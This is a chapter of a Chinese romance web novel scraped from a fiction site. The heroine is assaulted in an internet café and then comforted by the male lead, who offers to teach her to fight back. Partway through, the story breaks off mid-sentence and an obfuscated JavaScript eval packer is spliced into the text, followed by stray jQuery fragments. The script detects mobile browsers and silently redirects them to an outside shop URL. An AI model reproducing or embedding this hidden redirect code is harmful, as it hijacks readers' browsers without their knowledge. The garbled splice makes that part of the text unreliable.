文趣网 > 都市小说 > 终于盛夏[破镜重圆] > 17. 初雪
    接下来几天,盛夏走到哪里都能听到其他人在讨论《万劫归墟》比赛,计算机和电竞专业的对此更是格外关注,官网上统计的报名队伍也不断上涨,一部分是来自这个游戏的丰厚奖金,一部分来自梁祺然将谢聿珩那条挑衅十足的视频上传到各大社交平台。

    一时间,谢聿珩很快成为众矢之的。

    盛夏不解,好奇问:【这样不是所有人都会对你抱有敌意吗?】

    谢聿珩回了四个字:【那又怎样?】

    嚣张桀骜,恣意轻狂。

    盛夏正要回,老师忽然点到了她的名字,她下意识慌忙站起来,答了一声“到!”

    似觉得她这样的反应好笑,其他人纷纷笑出声。

    盛夏垂着的手一紧,老师抬手示意她坐下,继续点下一个名字。

    这节是专业课,确认所有人都到齐后老师才合上点名册。

    课桌抽屉的手机振动。

    梁祺然在群里说周末正式开始集结训练。

    岑千梨:【去哪儿训练?】

    梁祺然:【当然是老谢家,为了这次比赛,老谢特意购置了四台顶配电脑。】

    岑千梨不太满意:【这么热跑这么远,直接给我们一人整台顶配笔记本,远程开黑不行吗?】

    梁祺然:【现场沟通更方便,我们可是要夺冠的,战术不能外泄!】

    岑千梨甩了几个翻白眼的表情包,没一会儿又回来:【ok!】

    盛夏跟着回了个微信自带的ok表情。

    周五下午只有一节课,她实行笨鸟先飞的策略,到学校附近的网吧提前练习。

    她第一次进网吧,莫名有种去住酒店的羞耻感,推开门各种嘈杂的吵骂和敲击键盘的声音混在一起,仿佛来到大型市场。

    盛夏环望了一圈找到前台,刷完身份证找了个角落位置,桌面上还放着上一个人留下的水瓶和垃圾,瓶子里面丢了好几个烟头,泡的水都发黄。

    盛夏蹙眉,将垃圾捡起来去丢掉,回身时猝不及防撞到一个人。

    “不好意思。”她跟人道歉。

    “妹妹当心啊。”

    粗旷的声音和烟味同时袭来,盛夏浑身一颤,抬头,果然看见那张布满痘印的脸。

    “妹妹一个人来上网呢?”男人嘴里嚼着口香糖,冲她吹了个口哨的同时四处看了眼,“你男朋友呢?”

    垃圾桶位置在电脑区外面,隔着空调帘。

    盛夏捏紧书包带,但面色淡淡,“他在下面停车。”

    “什么车需要停十分钟?”男人明显不信,一脸“我已经看透”的表情,“我可打听过了,谢聿珩可没有女朋友,妹妹,你这白日做梦骗骗自己可以,可别骗哥哥了。”

    男人上前一步,盛夏立刻后退两步,来不及细想他怎么会认识谢聿珩,“不管你的事。”

    说着越过他就要走,但男人一把拽住她手腕,另一只手攀上她的腰。

    “既然你没男朋友,那正好我们一对。”

    “啊!”

    盛夏浑身都打了个寒颤,那双手像一条黏人恶心的无脊椎虫,她生理性的开始反胃想吐,脑子一片空白,本能的用力挣脱,朝拽着自己的那只手咬去。

    “艹!”男人咒骂了一句,“你他妈敢咬老子。”

    左脸一阵疼痛,盛夏感觉有片刻失聪,肩膀和头撞到玻璃上,眼前的画面也有一瞬模糊,她听见男人骂骂咧咧的又朝自己走来。

    盛夏全身神经紧绷,用力将垃圾桶推向男人,趁男人踢开垃圾时拔腿就跑。

    吵闹的声音重新落进耳朵,在她经过时有人好奇看了眼,但很快又收回去。

    盛夏似听见前台叫了她一声,她恍若未闻,以最快的速度下楼,朝学校跑。五分钟的路变得格外漫长,红绿灯也变得格外让人生厌,她不想停留,继续朝前跑。

    谢聿珩从便利店出来就看见盛夏不顾一切的往前跑,像晚一步就要被拉入万丈深渊。

    谢谢聿眉骨抬了下,瞧她身后又没人,

    “跑什么?”在她到面前时问。

    但回应他的是一阵风。

    “……”

    谢聿珩眉心跳了下,似荒唐的笑了,掐断手里的烟,袖子撸到手肘,追上去。

    平时看着乖巧安静的人跑起来跟兔子一样,谢聿珩追了半条街才追上,一把拽住她的手。

    “放开我!”

    盛夏应激的仿佛全身汗毛都竖起来,双手发狠的去抓拽着自己的手,在那双白皙好看的手背上留下几道血痕。

    头顶传来“嘶”了声,“小同学,真抓啊?”

    清润疏朗的声音像一汪泉水,浇醒盛夏混沌的大脑,像死机的电脑一点点重启,恢复运行。

    盛夏垂眼,看见握着自己的那双手骨节分明,指甲修剪得整整齐齐,指缝也没有泥垢。好闻的艾草味涌入鼻间,包裹在黑裤下的长腿笔直修长。

    她触电似的松开手,“对不起。”

    谢聿珩气儿还没喘匀,确认她不跑了松开手,“下手还挺狠。”谢聿珩问,“跑什么呢?叫你也不听。”

    盛夏低着头,“没什么。”

    她开始后悔今天出门的时候居然没有带口罩,不用猜就知道她现在脸已经肿了。

    “没什么你跑这么快?”谢聿珩嗓音散漫,“备战下一届奥运?”

    盛夏抿了抿唇,“赶着回去上课,要迟到了。”

    谢聿珩哼笑了声,“还骗人啊小同学。”

    盛夏:“我真的要迟到了。”

    “你今天下午只有一节课。”谢聿珩拆穿她的谎言,“你给梁祺然发过课表,忘了?”

    盛夏不吭声了。

    谎言被拆穿,还是被谢聿珩拆穿,像又在她右脸上打了一巴掌,疼得她说不出半句话来,胸口也像被人用力揪住。

    她只能将头埋得更低,做足心理建设,让自己声音显得自然。

    “对不起。”

    尽管尽力掩饰,但谢聿珩还是听出了不对劲,“出什么事了?”

    盛夏摇头。

    谢聿珩胸口升起一阵烦躁,像摔碎她手机那天晚上一样,“抬头。”

    盛夏没动。

    “准备找地缝呢?”谢聿珩上前半步,看她如临大敌的后退,皱眉,“把头抬起来。”

    他嗓音低沉,盛夏垂在双侧的手握成拳,缓慢地一点点抬头。

    只一眼,她看见谢聿珩脸色瞬间沉了下去,她立刻捂住脸。

    “怎么回事?”谢聿珩脸上的笑消失,声音也冷了下来。

    原本白皙的左脸又红又肿,在夕阳下像发酵的馒头,清澈好看的眼通红,里面蓄满泪水

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758531|209223||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,又逞强的憋着不落下。

    这四个字让盛夏筑起的心防登时崩塌,眼泪也决堤的落下,她慌乱的用手背抹去,想开口说话,但因为哭泣说话也断断续续的。

    她现在一定难看极了,比盛良国骂她那晚还要难看。

    “没事,我不小心摔了。”她还是否认,不想跟他添麻烦。

    谢聿珩似被气笑,“说实话。”

    “真的是摔的。”

    谢聿珩本就不是耐心很好的人,此时耐心也快告罄,单手揣兜,眼尾下压的看着她,“怎么摔的?再摔一个看看。”

    盛夏没想到他会提这个要求,隔着泪眼难以置信的看他,仿佛第一次认识他。

    谢聿珩下巴微抬,并不在意她的难堪和震惊,催促,“不是摔的吗,摔吧,这次记得摔右边脸。”

    “我—”

    盛夏难以说出一句完整的话,如果那巴掌只是打在脸上让她难堪,谢聿珩玩味的态度更是像一根尖针刺在她心上。

    盛夏不理解他的话,现在也不想去理解,只想找个地方藏起来,把这些难堪都隔绝。

    她转身要走,谢聿珩拦住她去路。

    他像铁了心跟她作对,她往左他也跟着往左,她往右他也跟着,像小时候玩得老鹰捉小鸡一样。

    “让开!”盛夏忍无可忍,第一次拔高音调,但下一秒又后悔。

    谢聿珩薄唇微挑,像发现新大陆般,“原来你有脾气。”

    盛夏抹去又往下掉的眼泪,不说话。

    谢聿珩也看着她,两人像在赌气的玩一二三木头人,谁先动谁就输了。

    不知过了多久,盛夏听见谢聿珩似叹了口气,递过来一张纸巾。

    “哭吧。”

    这两个字像咒语,击溃盛夏所有心理防线,眼泪如断线的珠子往下掉,纸巾被泪水湿透,谢聿珩又递了一张过来,直到第三张纸巾也被湿透后,盛夏才从情绪中缓过来。

    “谢谢。”她声音带着鼻音。

    谢聿珩看她抹干眼泪,只问,“准备忍一下辈子?”

    盛夏动作倏地停住。

    谢聿珩站在台阶上,夕阳洒了一缕在他发顶,浅色短袖的下摆因为他双手抱胸往上挪了些。

    “脾气就这么软?被欺负了也不吭声。”

    盛夏听见自己呼吸都在颤抖,像被他这句话推到绝路,“那我能怎么办?”

    人生地不熟,她又能怎么办?

    她打不过他,报警又并没造成什么实质性的伤害,批评教育两句就结束,甚至还会被对方记恨,她要每天活在提心吊胆中。

    小时候告诉老师,一句“为什么他就欺负你不欺负别人”让她哑口无言,她又能怎么办,除了忍她还能做什么。

    谢聿珩跨下台阶,走到她面前,“施暴者为什么欺软怕硬,是因为他们知道欺负你不会付出任何代价。”骨节分明的手重新握上她的手腕,语气认真,“要摆脱,就得让对方也知道痛。”

    “你可以反抗。”他说。

    手腕的温度似通过脉络传遍她全身,眼泪不知道什么时候已经干涸了,她望进谢聿珩的眼,心跳乱了节奏,像溺水的人终于看到希望。

    “我怎么反抗?”她听见自己问。

    谢聿珩似就在等她这句话,眉梢轻扬,笑得桀骜,“我教你。”